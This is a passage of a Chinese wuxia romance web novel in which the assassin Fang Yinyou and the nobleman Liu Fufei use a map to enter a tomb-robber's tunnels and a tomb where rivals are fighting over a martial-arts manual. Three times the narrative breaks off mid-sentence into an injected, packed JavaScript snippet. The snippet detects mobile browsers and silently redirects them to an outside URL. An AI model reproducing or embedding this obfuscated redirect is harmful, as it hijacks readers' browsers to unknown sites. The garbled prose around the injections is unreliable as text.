黄逍穹被踢的卒不及防,还没反应过来发生了什么,又听到方隐攸开口就是要钱,十分不可置信的冷笑一声,斜眼盯着他问,“你可知道我是谁?” 方隐攸不想与他们多费口舌,将可生横在身前,面无表情的看向黄逍穹。 “那你可知道我是谁?” 日光从门里落到屋内,照在猩红剑柄上的白玉莲花上,就像是阿鼻地狱里降下的佛光,屋里屋外顿时陷入寂静,然后又轰的一声喧闹起来。 “你是方隐攸?”黄逍穹愕然的看向他,“你竟然也来抢长生诀了?” 方隐攸散漫的点点头,“嗯,赔钱。” 黄逍穹咬牙冷哼一声,从怀里掏出一锭银子扔给他,满脸的不服气。 方隐攸将银子扔给老板,然后用剑鞘朝着屋外的人点了点,“江湖中的恩怨你们就自己找个地方去解决,到别人面馆里面吵什么吵?” 屋外的人顿时往后退一步,都对他避之不及的模样。 方隐攸回身握住柳扶斐的手腕,牵着人出了面馆,然后穿过人群往无人处走去。 还不等他们走远,身后便传来此起彼伏的咒骂声。 “他一个杀人如麻的刺客如今倒还装起好人来了?” “不过就是仗着自己的功夫高才敢这么猖狂。” “要是哪天没了那身功夫,我倒要看看他方隐攸还敢不敢出来狗叫。” “我赌他不敢,他只怕是只敢夹着尾巴做人啰!哈哈哈!” “...” 柳扶斐脚步一顿,回过身杀气腾腾的盯着那群人。 方隐攸也停了下来,“怎么了?” “你就由着他们这么说你?” “他们说的都是事实。”方隐攸无所属的耸耸肩,朝他得意的挑了挑眉,“不过我方隐攸就是武功高,所以他们没有一个人敢在我面前放肆。” 说完,他顺着柳扶斐的视线看了过去,“至于背后说的这些,狗叫而已。” 48. 地图 虽然柳扶斐一直都知道方隐攸身为一个刺客,在江湖上乃至在整个大境人的眼里,都不会有什么好名声,但是看到方隐攸这么一副无所谓的样子,还是感觉胸口像是被塞进了一块石头,钝痛的厉害。 他跟着方隐攸进了一条无人的巷子,慢慢悠悠的走了几步以后,柳扶斐扯住了方隐攸的衣袖,“你做刺客是为了赚钱,那我给你银子,你是不是就可以不做刺客了?” 方隐攸驻足回首,莫名其妙的看着他,“你为什么要平白无故给我银子?” “我可以雇你做我的贴身护卫,一日一金,怎么样?” “不做。” “为什么?” “丢人。” 柳扶斐一愣,不可置信的用力戳了戳他的胸膛,大声质问,“我爹可是大境的大将军!你做我的护卫哪里丢脸了?” “你爹就算是大境的皇帝,我做你的护卫也觉得丢脸。”方隐攸双手环抱在身前,用脚踢着面前的碎石子,“江湖人,讲究的就是一个无拘无束,护卫说的不好听一点就是在脖子上拴了一根绳子,成天得跟在主子身后的狗,这还不丢脸?” 柳扶斐不可理喻的瞪着他,“方隐攸,你...简直是不可理喻。” 方隐攸敷衍的点点头,“嗯,你说的对。”说完,他伸手扶住柳扶斐的下巴,将他的脸侧向另一边,“现在,我们得先找到韩桓临。” 柳扶斐定眼一看,面前的这堵墙并没有什么异样,“这墙怎么了?” “少说几句话。” 柳扶斐这才反应过来方隐攸的意图,忍不住抬脚踢向他的侧腿,方隐攸轻巧躲过,然后伸手按住他的肩膀,“柳扶斐,你还得再练练。” 柳扶斐抖开他的手,呵呵一笑,“你若是愿意将秘籍给我,我早就炼成绝世武功了。” “我没有秘籍。” 方隐攸倚在墙上,语气诚恳的重复了一遍,“我没有秘籍。” 柳扶斐闻言猛地顿住,“可是...” 江湖上谁人不知第一刺客方隐攸手里有一本绝世秘籍? “方隐攸!” 叶沉君的声音忽然响起,柳扶斐和方隐攸同时朝着巷口看去。 叶沉君快步朝着两人走来,“终于找到你了!” “你找我做什么?” 叶沉君在方隐攸面前站定,从怀里拿出一张麻纸递给他,“这是我教内人发现的。” 麻纸上画的是一条路线图,图的起点正是淘沙官的宅子,终点不知道通往何处,得进宅子以后顺着线路图走一遭才清楚。 方隐攸看向他,“这是哪里来的?” “方才在那个宅子里搜出来的。”叶沉君说完凑到方隐攸耳边,悄声道:“他们那群人都只想着抢到长生诀,所以我并未将此事告诉他们。” 方隐攸将地图递给柳扶斐,侧过脸盯着叶沉君,“我也是为了抢到长生诀。” “但是我相信你不是为了成为第二个闻人焕厉。” 叶沉君的脸在这么一小会的功夫下迅速红了起来,他往后撤了一步,长呼一口气,握紧手里的拂尘和长剑,“我相信你,方隐攸。” 方隐攸沉默的看了他许久,然后伸手撩了一下他悬在臂弯的拂尘须:“我知道了。” 叶沉君笑了笑,“地图交给你,我便也能安心离开了。” “你要离开并阳了?” “教中有急事需要回去处理。”说完,他抬手朝方隐攸一拜,“下次我必定要赢你。” 方隐攸仰头大笑一声,“且看着吧。” 叶沉君继而看向柳扶斐,“柳公子,我们有缘再见。” 柳扶斐点点头,笑着和他拜别。 叶沉君身形瘦削,宽大的道袍行走时衣摆流动,衬着他背后的青丝,就像一幅泼墨山水画。 “没想到江湖中还有对长生诀丝毫不心动的人。” “叶沉君,又称灵虚宫梨花君。”方隐攸看着叶沉君的背影,“是江湖中难得的脱俗之人。” 柳扶斐回头看他,“那你为什么不入他门下?不正好可以日日得见梨花君?” 方隐攸扯扯嘴角,“我满身铜臭味,入不得灵虚宫。” 柳扶斐的脸色瞬间绷了起来,他抬手扯住方隐攸的衣襟,将人拉到面前,“方隐攸,你说这种酸唧唧的话可真是刺耳。” “那柳公子赏方某点金子,让我开怀开怀,便不会再说这种酸掉牙的话了。” 柳扶斐从怀里掏出几锭金子塞进方隐攸的怀中,“穷酸样。” 方隐攸哈哈大笑的按住胸膛,感受着里面硌手的金子,谄媚的看着柳扶斐,“柳公子阔气。” 柳扶斐嫌弃的撤开手,抖了抖手里的地图,“这地图怎么办?” “现在宅子里里外外都有人守着,等到了晚上我们再悄悄溜进去。” “那我们现在做什么?” 方隐攸抬头看天,马上就是晌午了,“我去一趟施府找施兄问问他这两天探听到了什么消息,你回郭奇谅那里看看他们找到韩桓临的踪迹没。” 柳扶斐点点头,两人便在巷子口分别,一人往南走,一人往北去。 等到拐了一个路口,柳扶斐即刻驻足,然后掏出骨笛吹出一声长哨。 一个黑衣人迅速落到他面前,十分恭敬的朝他举手作揖,“主子。” “前面路口有一个宅子,前面围了许多人,其中有一人拿长刀穿黑衣身高约五尺三、一人拿短剑穿蓝衣身高约五尺、一人拿长枪…” 柳扶斐面无表情的说完十几人后眼神一凛,“杀,宁可错杀不看放过,懂吗?” 最后两个字柳扶斐说的极慢,带着令人毛骨悚然的杀意,黑衣人下意识的抖了一下,“是。” 黑衣人离开后,柳扶斐在原地站了许久,然后忽然仰起头来自嘲的扯了扯嘴角,没想到他柳扶斐有一天竟然也会做这种掩耳盗铃之事。 背后议论方隐攸之人是杀的完的? 柳扶斐敛起眼中的愁绪,装作风轻云淡的模样朝前走去,他回到金波酒肆时,郭奇谅带着帮里的人出去了,整个楼里只剩下崔清止一人。 他十分惬意的躺在院中,手边放着一个小方桌,桌上温着酒,酒香四溢,闻之欲醉。 当然,柳扶斐不会醉,还会觉得这酒香过于浓郁,闷的慌,比不上醉仙酿十分之一。 崔清止抬眼看他,“方隐攸竟然没跟你一块回?这并阳县里如今都是些江湖浪荡客,你一个穿着贵气的公子也不怕被人掳走换赎金?” 柳扶斐想起来眼前这人还不知道自己会武,也没有什么想要解释的心思,于是长叹一口气,故作委屈的说道:“只见新人笑,不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810187|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧人愁。方隐攸如今有了新的好友,哪里还管我的死活?” 崔清止闻言来了兴趣,身子往柳扶斐这边挪了挪,“新的好友?谁?” “并阳县里数一数二的富商施亦礼,比本公子有钱的多。” “当真?”崔清止十分不解,“我看方兄不是这种庸俗之人啊…” 柳扶斐撇撇嘴,“他最爱钱财,俗不可耐。” 柳扶斐莫名其妙的真的有了几分怒意,咬牙切齿的说道,“当真是俗不可耐!” 崔清止拍了拍柳扶斐的肩膀,温声安慰道:“没事,你们迟早会离开并阳县,到时候他身边就只有你了。” “京城有钱的贵公子那么多,谁知道他又会看上谁?”柳扶斐入戏越来越深,委屈的撇下嘴,“他又是个不开窍的…” “谁不开窍?” 方隐攸的声音突然横插进来,人也迅速从院墙上跳了下来,他走到柳扶斐面前,注意到他脸上委屈的表情,“你怎么了?谁让你受委屈了?” 崔清止横他一眼,“不是你吗?” 方隐攸莫名其妙的看向他,“我?” 他再看向柳扶斐,“我怎么你了?” 柳扶斐尴尬的干笑两声,扯着他的衣袖将人带回了房间。 这房间是郭奇谅特意为他们俩个人准备的,十分宽敞,有内外间,这几日他们两人都住在这里。 柳扶斐将人按在椅子上坐好,然后给他倒了一杯冷茶,“润润嗓子?” 方隐攸接过茶,一口喝尽。“你们刚刚在说什么?” 柳扶斐眼珠一转,“施老板探听到了什么消息?” “那人好像也进了并阳。” “谁?面具男?” 方隐攸点点头,“昨日上午来的,却没有来找我,估计也是为了长生诀来的。” “他此次带了多少人?” “最近酒楼里来往江湖人非常多,施兄原本并未注意到他,还是因为他吃饭时将小二骂了顿,说是饭菜不合胃口,所以才多看了一眼。”方隐攸叹一口气,“所以他也就没有留意他们一行到底有几人。” 柳扶斐走到方隐攸身后,反身倚在椅背上,看着面前的屏风,思忖了片刻后问道:“那你怎么知道那个戴面具的就是追杀你的那个?” “我也不确定,只是猜测而已。”方隐攸往后一躺,头抵着他的背,“只是,他如果真的来的,这江湖中的事牵扯到朝堂,就会很麻烦。” “我若是他,肯定不来蹚这趟浑水。至少要等到长生诀真的被谁拿到了再说。” 方隐攸呵呵一笑,“他就是个蠢货,要是能想到这么周全,也不会追了我两年还一无所获。” 柳扶斐微微侧过身,看着方隐攸的左肩。 上面有一缕他的头发半悬着,应该是方隐攸靠到他背上时蹭上去的。 柳扶斐看着那缕青丝,缓缓道:“还有别的消息吗?” 方隐攸从怀里掏出来一块指甲盖大小的碎纸递给他,“施兄今日在酒楼角落里发现的,也不知道是谁哪天落下来的。” 柳扶斐打量着手里的碎纸,上面有一个完整的墓字,还有只剩下半截看不出是什么的残字。 “墓?淘沙官?” “嗯”方隐攸拍了拍椅子的扶手,“淘沙官的宅邸,我们是非去不可了。” 49. 地洞 月黑风高夜,适合盗匪趁机作案。 方隐攸和柳扶斐两人在淘沙官宅邸的后门处打倒了守门的几个年轻人以后,用剑挑开门栓,悄无声息的溜进了宅邸。 宅子占地三亩,分为前后院,地图所画的起点在后院主屋右侧耳房里。 耳房不大,四四方方长宽不过十尺,里面只摆了一张方桌、一把竹椅、一个木柜,略显萧条。 方隐攸将手里的蜡烛递给柳扶斐,然后拿出地图比照着方位看了起来。 地图上在房间的位置上画了一个十字,然后箭头向北画出一条线,只是这房间的北面乃是一堵墙,根本没有前路。 “房子的主人既然是个淘沙官,路应该在地下。”柳扶斐凑过来提醒一句。 方隐攸于是半跪在地上,用剑鞘一寸一寸的敲过去,终于探出了木桌底下是空的。 只是,桌子底下的这片地看上去却十分牢固,不像是可以被强行砸开的。 方隐攸站了起来,拿过柳扶斐手里的蜡烛,仔细的在墙上找了半晌,没有找到任何可以打开地道的机关。 “要不我直接用内力震开?” “不行,前院里有人,弄出动静来会惊动他们。” 方隐攸于是作罢,他转身坐到竹椅上,手撑住膝盖望着柳扶斐,“那怎么办?” “这屋子里肯定有机关。”柳扶斐举着蜡烛环顾一周,果然从柜门的门缝里看到了东西。 他将柜门打开,仔细观察半晌,然后朝着方隐攸招了招手,“你看,这是不是奇门四盘?” 方隐攸凑过来,便看到柜子里面挂着一个圆盘,上面密密麻麻的写了许多字,看得他头大。 “好像是,怎么了?” 柳扶斐看着式盘,叹一口气,“这打开地道的破解之法应该就在这个盘里,可惜我不懂奇门遁甲。” “奇门遁甲?”方隐攸拿过柳扶斐手里的蜡烛凑近式盘仔细看了看,“谷山一善奇门遁甲,给我医治的时候倒是教过我几招。” “青龙返首的天盘甲子戌加地盘丙奇,或是飞鸟跌穴的天盘丙奇加地盘甲子戌,都是诸事皆宜盘,要不我们试试?” 柳扶斐手指着式盘,“那人盘和神盘呢?” 方隐攸一愣,“那是什么东西?” 柳扶斐无语扶额,往后退一步,无奈道:“我们再想想别的办法吧。” “等等。”方隐攸将人拉到身边,指着式盘上的生门,“我记得他说过,生门万事大吉。” “当真?” “当然是真的,它都叫生门了,难道还不吉利吗?” 方隐攸说的信誓旦旦,柳扶斐狐疑的看他一眼,然后缓慢的转动人盘,将生门对准甲子戌和丙奇。 还不等他问接下来神盘该如何转动,两人忽然脚底下一空,一齐往下坠去。 “方隐攸!” 柳扶斐惊呼一声,抽出腰间软鞭朝着下方一挥,想要将两人绑在一起。 地洞又深又黑,方隐攸听到声音时连忙抬手拽住鞭子,然后抬脚往壁上一蹬,调转落姿让自己直立。 紧接着他拔剑出鞘,用力的将长剑插入洞壁内,巨大的冲力让长剑往下劈了一丈多的距离后才终于停了下来。 “握紧长鞭,我拽着你。” 方隐攸朝着头顶喊一声,眨眼间便感觉鞭子那头的力从紧到松再倒紧最后猛地往下一扯,让他整个人都震了一下,连带着他手里的长剑也往下继续劈了半丈才堪堪停住。 方隐攸握紧长鞭往上一提,“抱住我的腿,爬上来。” 柳扶斐闻言赶紧将长鞭在自己的手腕上卷了几圈,然后脚蹬着洞壁往上爬了点距离以后一把抱住了方隐攸的腿。 方隐攸顺势收紧手里的长鞭,让他借着力爬的更轻松些。 柳扶斐好不容易爬了上来,手抱着他的腰,将脸埋进了他的脖颈,委屈的哼了几声,“这淘沙官竟然能把这地洞挖这么深,也不怕把人摔死。” “这地洞本来就是为了把人摔死的。”方隐攸仰着头,看着漆黑一片的头顶,他们掉下来的地方已经关上了。 “不管怎么样,我们都得先下去。” 方隐攸点点头,抬手扣了一把壁上的泥揉成球往下一扔,过了好半响才听到咚的一声闷响,看样子他们现在距离洞底还有约五丈远。 这个距离,方隐攸借着力倒是能下去,只是... 方隐攸侧过脸,下颌蹭着柳扶斐的头发,“你能下去吗?” 柳扶斐点点头,“可以。” 方隐攸放开手里的长鞭,“把长鞭系在我的手腕上,然后我们同时借力下跃,如果其中有一人体力不支或者失脚落下去,另一人也好拉住他。” 柳扶斐点点头,摸黑将长鞭紧紧的锁在方隐攸的手腕上,另一头被他紧紧的握在手里。 “我数一二三,然后我们跃到墙壁的另一边,再以此类推,一步一步的下去,知道了吗?” 方隐攸的语气十分镇静,听不出一丝慌乱,柳扶斐虽然原本也并不惊慌,闻言却将脸在他的脖子里蹭了蹭,“方隐攸,我们不会有事的,对吧?” 方隐攸拍了拍他的侧腰,“对,你死了我会很麻烦。” 柳扶斐闻言一愣,愤愤的瞪他一眼,“方隐攸你什么意思?” 方隐攸轻笑一声,“别装模作样了,从咱们俩落下来到现在,我可没看出来你有半点的慌乱。” 方隐攸收了打趣的神情,语气变得严肃起来,“一、” 柳扶斐握紧手中长鞭,脚尖抵住墙壁,聚精会神的听着方隐攸的指令。 “二、三、跃!” 话音一落,两人同时借力一跃,然后步调一致的一步一步的往洞底逼近。 等到落地以后,方隐攸从怀里掏出火折子仔细的观察了一下周围。 洞底下比两人想象的干净不少,没有任何尸体残骸,证明这里好歹是没有死过人的。 只是这里的空气虽然干燥但是却夹杂着一股死老鼠的怪味,闻得人头昏脑涨的。 方隐攸仔细用手探了探周围的洞壁,上面都是一些铁锹开凿的痕迹,没有什么特殊的地方。 柳扶斐凑过来,“怎么样,有发现吗?” “没有,至少是我能触摸到的地方没有。” “不对,淘沙官将这地洞挖好了,他必须给自己准备一条离开的路。”柳扶斐抬手摸了摸下巴,蹲下来仔细回忆他们从进了淘沙官的院子以后发生的一切。 “地道在桌子下面,但是我们是从柜子前面落下来的。”柳扶斐看向方隐攸,“你还记得柜子在桌子的哪个方位吗?” “正北面。” “地图上所示的路线也是北面。” 方隐攸眼珠一转,“所以你的意思是...从方桌到柜子的这段路,正是地图上所示的朝北的这条线路!” 柳扶斐点点头,赶紧从怀里拿出地图。 方隐攸见状也凑了过来,他手指着地图上的一条路线,“这条朝正北的线路很长,所以肯定不止方桌到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810188|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜子的那么点路程,可是我们现在在洞底下,怎么辨认方位继续往北走呢?” 柳扶斐用手指弹了一下他的可生,“用这个。” “可生剑?” “你知道司南吗?”柳扶斐看着可生剑,缓缓道,“司南之杓,投之于地,其柢指南。” “你的可生剑未尝不能做司南,虽然不能指明哪边是南哪边是北,但是至少可以告诉我们南北朝向。” 方隐攸不懂这些,不过还是将可生递给了他,“给你。” 柳扶斐接过可生,虽然他已经多次握过可生剑,但是这还是他第一次拔剑出鞘,锐利的剑刃上反射出一道泛着寒气的光,他抬眼看向方隐攸,“除了我,还有人拔过此剑吗?” “没有。” 柳扶斐低下头,掩住眼里的喜色,他的指腹轻轻滑过剑脊,才发觉可生剑的剑脊上竟然是凹凸不平的,只是眼下火折子的光十分昏暗,他并不能分辨上面刻着些什么。 收下眼中的遗憾,他将可生悬在掌心,然后用内力催动长剑,让可生迅速旋转,最后又缓缓的停了下来。 “剑峰与剑柄所指的便是南北朝向。” 方隐攸狐疑的看了一眼可生,抖了抖地图仔细的再看了一眼后,面朝剑锋指着的墙壁,伸手在墙壁上仔细的摸寻了许久,可是却一无所获。 柳扶斐朝他抬了抬下巴,“再试试剑柄所指的方向。” 方隐攸点点头,走到剑柄所指的方向再次找了很久,依旧毫无发现。 “不对呀...”柳扶斐纳闷的皱起了眉,他看着手里的可生剑思忖许久,然后朝方隐攸喊道,“你在地上照着可生的指向画根线。” 方隐攸于是用剑鞘在地上画了一根线,“这样可以吗?” 柳扶斐退开一步,看着地上的线,然后拿过方隐攸手里的地图再仔细看了看,“方隐攸,你看——” 方隐攸闻言凑了过来,“看什么?” 柳扶斐指着图上指向北的路线,“这里,既然都是朝北走,为何这里会有一个间隔?” 方隐攸疑惑的望着他,“为何?” “因为虽然都是朝北走,但是却并不是同一条路。” 方隐攸更加不解,“什么意思?” 柳扶斐咬咬唇,想着该如何向他解释,但是转念一想,他们之间似乎并不需要解释那么多,于是他伸手指着地上的那条线,“机关在这条线上,我们需要上去或者下去,然后再继续往北走。” 方隐攸哦一声,并没有问他从哪里得出来的结论,直接半跪在地上在那条线上一寸一寸的探了过去。 果不其然,还真的让他找到了不一样的地方,那里的土壤十分坚硬,像是掺杂了泥沙一般。 “找到了。” 柳扶斐眉眼一动,蹲到他身边紧紧的握住他的衣摆,“看看能不能按动?” 方隐攸用力一按,便听到轰隆隆的一声响,两人脚下的地面开始震动起来,紧接着地面开始缓慢的上升,在升了约两丈的距离以后,又猛地顿住。 不等两人站起来,地上直线所指的方向——两人的正对面,凭空出现了一条可通一人的地道。 方隐攸惊讶的挑挑眉,看向柳扶斐,“想不到京城来的贵公子确实有两把刷子。” 柳扶斐的表情变得十分得意“本公子会的多了去了。” 方隐攸起身,举着火折子走向地道口,“进去吧。” 柳扶斐点点头,与他一前一后的走进了不知通向何处的地道。 50. 冷冰冰的心 两人在地道里没有走多久,方隐攸手里的火折子就熄灭了,周围顷刻间陷入黑暗。 方隐攸停下脚步,伸手将可生剑的一头递给身后的柳扶斐,“握住,我牵着你。” 柳扶斐闻言瞬间僵住,他凭借着方隐攸的呼吸声辨认着他的脸庞,咽了咽口水缓解喉咙里的燥意。 方隐攸久久等不得柳扶斐的回应,将手里的剑往他的方向递了递,“握住。” 柳扶斐却依旧没有任何动作。 方隐攸不解的皱起了眉,“怎么了?” “方隐攸,这就叫引诱。” 柳扶斐的语气低缓,像是无奈的长叹,“你总是这样,然后又翻脸不认账。” “你在说什么胡话?”方隐攸不理解的收回可生,“这地道里面黑灯瞎火的,如果走丢了怎么办?” “我是三岁稚子吗?”柳扶斐握紧拳头,语气克制的朝他低吼,“你总是那么体贴,我也只是个普通人,怎么能忍住不心动?” “莫名其妙。” 方隐攸说完转身就走,走了没几步,他又猛地回身,一把拽住柳扶斐的手腕,将人往前拽。 “柳扶斐,我现在没有功夫和你说这些莫须有的话,韩桓临眼下有可能已经找到了长生诀,我们必须尽快找到他。” 方隐攸的语气十分平静,就像是结了冰的湖面,任风刮得再大都起不了半点涟漪。 柳扶斐被他拉着走了许久,然后忽然反手握住他的手腕,将人用力的抵在墙上,继而凑到他的面前,埋怨又委屈的质问道:“方隐攸,你的心,是不是从来都不会生起波澜?” “江湖人都这样吗?” “还是只有你这样?” 方隐攸的视线在黑暗里精准的锁住柳扶斐的双眼,“一个杀人如麻的刺客的心,怎么会起波澜?” 他的语气越发冷冽,“我没有警告过你吗?不要将主意打到我的身上?” “你爱我,难道我就必须爱你吗?” “柳扶斐,是你自己要留下来的,我从来没有挽留过你。” “你——呜——” 方隐攸绝情的话语被嘴唇上突如起来的触感堵了回去——温柔而又拼尽全力,似乎是想要将他捂死在这两片毫无杀伤力的软刃中。 方隐攸抬腿朝着柳扶斐的□□踢去,却被他轻巧躲过,自己的腿还被他顺势禁锢在了腿弯下动弹不得。 紧接着,方隐攸察觉到柳扶斐竟然轻咬了一下他的唇,带着一丝狡黠,咬住的瞬间还用舌尖轻轻舔舐了一下他的唇肉。 湿滑火热的触感让他浑身一抖,几乎是立刻就有了反应,然后整个人都错愕的愣住了。 柳扶斐自然察觉到了他的反应,情不自禁的闷声笑了起来,却也并未就此放开他,而是将所有的笑声都喂入了方隐攸的嘴里。 方隐攸羞愤难当的用力挣脱他的桎梏,然后抬脚朝着他的身前用力一踢,将人狠狠的踹倒在地上。 柳扶斐撑住墙站了起来,望着隐匿在黑暗中的方隐攸,得意又戏谑的笑道:“这么不禁撩拨,不会还是个雏儿吧?” 方隐攸的脸上瞬间涨红一片,敏锐的找准黑暗中柳扶斐的位置,抬手就朝他打了过去。 柳扶斐察觉到他的动作,却依旧一动不动的站在原地,等到被方隐攸一把掐住脖子的时候,他竟然笑着反手握住了柳扶斐的手腕仔细摩挲,语气蛊惑的说道:“方隐攸,我跟你说,你就是不知道这男子欢爱的滋味到底有多美妙,才对我无动于衷,你且和我在一起尝试一次,我保管你迷醉其中。” 方隐攸的手一抖,差点没能握住他的脖子,“你难道知道?” “我当然知道。”柳扶斐的手指往上爬,悄悄的摸上他的小臂、手肘、肩膀,正当他的手要继续往下时,方隐攸用力的甩开他。 “腌臜东西。” 柳扶斐闻言一愣,连忙解释,“方隐攸,你别误会,我是在书中看的,他们都说此事可让彼此都十分欢愉,我可从来没有和哪个男人如此过!” 方隐攸冷哼一声,“腌臜东西。” “我说了!”柳扶斐语气变得急迫起来,“本公子从来没有和男人如此过!女人也没有!” “思想腌臜的东西。” 柳扶斐呵呵一笑,“我思想腌臜,你就是思想迂腐、顽固、腐朽!” 方隐攸无语的翻了个白眼,侧过脸冷声警告,“你还要在这里浪费多少时间?” 柳扶斐往前一步,十分乖顺的一把握住他的可生剑,“走走走,牵着我走。” 可生剑长不过三尺,柳扶斐却依旧嫌弃两人之间隔得太远,手往前悄悄的挪了许多距离,直到他的衣摆可以蹭到方隐攸的衣摆才终于安分的不再往前挪。 继续走了大约一炷香的功夫,地道变成了一条往上的台阶。 台阶约有四十层,走上头又是一条地道,这个地道不再像之前那般笔直,十分的曲折。 再走了约一刻钟以后,曲折的地道再次变得笔直,而且出现了两个不同的岔路口。 方隐攸伸手摸了摸左右两侧的墙壁,“还记得地图上画的是左拐还是右拐吗?” “左拐。” 方隐攸点点头,然后朝着左边走去,两人还没走几步,忽然听到不知道从哪里传来了几声模糊的交谈声。 方隐攸脚步一顿,“有人。” “韩桓临?” “不是。” 柳扶斐顺势凑到他身边,是快要贴上他的后背的距离,“那我们顺着声音传来的方向去找找看?” “地图上只画了这一条路,走别的路容易迷失方向。”方隐攸顿了顿,抬手触摸头顶的土墙,“而且,这声音似乎是从上面传来的。” “那我们就按着地图上的路走,免得出错。” 方隐攸点点头,继续朝前走去,可是才走了几步,他又忽然顿住了,“我想起来这是谁的声音了。” “谁?” “黄逍穹。” “就是那个很猖狂,武器是一把长枪的男人?” “对。”方隐攸回首看着漆黑一片的后方,“黄逍穹他们能找到这里,说明韩桓临也在地下。” 方隐攸将手里的可生剑往上抬了抬,“走吧,继续跟着地图走,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810189|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在也只能这样了。” 说完后,两人又继续走了半刻钟的路程,一路上头顶上的声音越来越清晰,还有许多脚步声跑来跑去。 柳扶斐按住头顶土墙,大手在上面仔细丈量,“我们落下来的地洞深约八丈,后来上行约两丈进入地道,刚刚爬的台阶有四十层,每层半尺,所以我们眼下是在地下约六丈深的位置。” “我们头顶的,应该是这淘沙官找到的前朝哪个帝王的墓穴,一般王公贵族的墓可挖不了这么深。” “而我们现在走的,就是他去墓里盗取陪葬品专门走到道。” 方隐攸忽然转身看向他,“若真是前朝墓穴,长生诀怎么可能会在这里?” 柳扶斐迟疑的开口,“难道是这淘沙官也是个武学能手,盗墓的时候也盗些武功秘籍?然后不巧的死在了墓里,那长生诀便也留在了这里?” 方隐攸思忖片刻,“不管怎么样,既然人都来这里了,到时候看看究竟是怎么回事。” 这次两人没走多久,就又遇到了一个上行的台阶,一上台阶整个空间都变得宽敞了起来,不再是只能走一人的地道。 柳扶斐展开手臂测量了一下,这个过道宽约七尺,恰好能通一辆马车,周围的墙壁也都不在是光秃秃的土墙,而是铺满了石砖的砖墙。 方隐攸往前一步,半跪在地上,附身将耳朵贴近地面,仔细辨听了片刻后他抬起头来,语气十分复杂的说道:“人非常多,脚步很杂乱。” 柳扶斐附身握住他手里的可生剑,“去看看。” 方隐攸起身后,牵着他背靠着墙壁,警惕而缓慢的顺着过道继续往前走。 很快,过道尽头冲出来几个人,他们手里拿着火把,将整个过道都照得十分亮堂,只是不知道是过于惊慌还是怎么回事,竟然并没有第一时间发现方隐攸和柳扶斐。 还是等到他们走近了,方隐攸抬脚将他们几个人踹到,然后抢过他们手里的火把时,他们才反应过来。 “你们...”躺在地上的男人哆哆嗦嗦的望着两人,“你们是谁...” 方隐攸抬脚踩在他的胸前,“发生什么了,你们跑什么?” 男人一听,瞬间变得惶恐,整个人都缩成了一团,“打起来了!他们打起来了!快跑!” “谁和谁打起来了?” “所有人!”男人怒吼一身,瞪大眼睛,“快跑!” “他们在哪里?” 男人颤颤巍巍的伸手指向东边,“墓里,就在墓里!” 方隐攸于是收回了脚,朝他们低喝一声,“还不快滚?” 几个人立刻连跑带爬的往前奔去,像是背后有鬼在索命一般。 方隐攸递给柳扶斐一个火把,看着身侧的石墙,墙那边应该就是主墓室,也就是刚刚那个人所说的“墓里”。 “看来他们已经开始抢长生诀了。” 柳扶斐走到他身侧,看着斑驳的石墙,“我们可以再等等,让他们再打一会,再坐收渔翁之利。” “不行,去的越晚死的人越多。” 方隐攸说完,立刻疾步朝着过道尽头跑去。 51. 争夺 方隐攸刚走到过道尽头,还没来得及转身,眼角余光就看到左边不远处飞出来一个人影。 紧接着,他听到轰隆隆一声石门关闭的声音,心道一声不好后立刻朝着左侧跑去,却只来得及看着石门闭上最后一点缝隙,将墓里的所有声响都隔绝在内。 他举着火把回身一看,便看到身后一条长长的斜坡上面堆满了尸体,最上面那个还没有死透,正举着手低声痛呼。 方隐攸连忙将人提到一边,手掐住他的脖子,质问道,“发生了什么?里面怎么回事?” 那人脸上满是血污,眼珠也被利刃刺破了一颗,只剩下右边那个猩红一片的眼睛。 他伸手紧紧的拽住方隐攸的手腕,“长生诀...在...里面...快...” 说着,男人吐出一口热血,手也无力的落到了地面,他死不瞑目,眼里尽是没能夺得长生诀的不甘。 柳扶斐这时候也赶了过来,他举着火把环顾四周,前面是两堵照墙,上面原本画着许多精致绝伦的壁画,眼下上面却洒满血迹,那群江湖人只怕是一路厮杀着进的主墓室。 柳扶斐看着背后那堵紧闭着的石门,“石门关上了,我们得想办法打开门。” 方隐攸走近石门,拿着火把仔细看出门上的机关,石门上画着两幅青面獠牙的守门兽,一上一下,中间以一个玉麒麟隔开。 “墓里的机关讲究的都是奇门遁甲。”方隐攸语气变得烦躁,“我生平最烦这些东西,对此从无研究,谷山一上次教我的又过于浅显,这门...” “只能硬闯。” 说罢,他将火把递给柳扶斐,然后用上十成的功力朝着石门用力一捶,可是石门却无动于衷,连半点裂缝都不曾产生。 方隐攸脸色一沉,抬手想再锤上一拳。 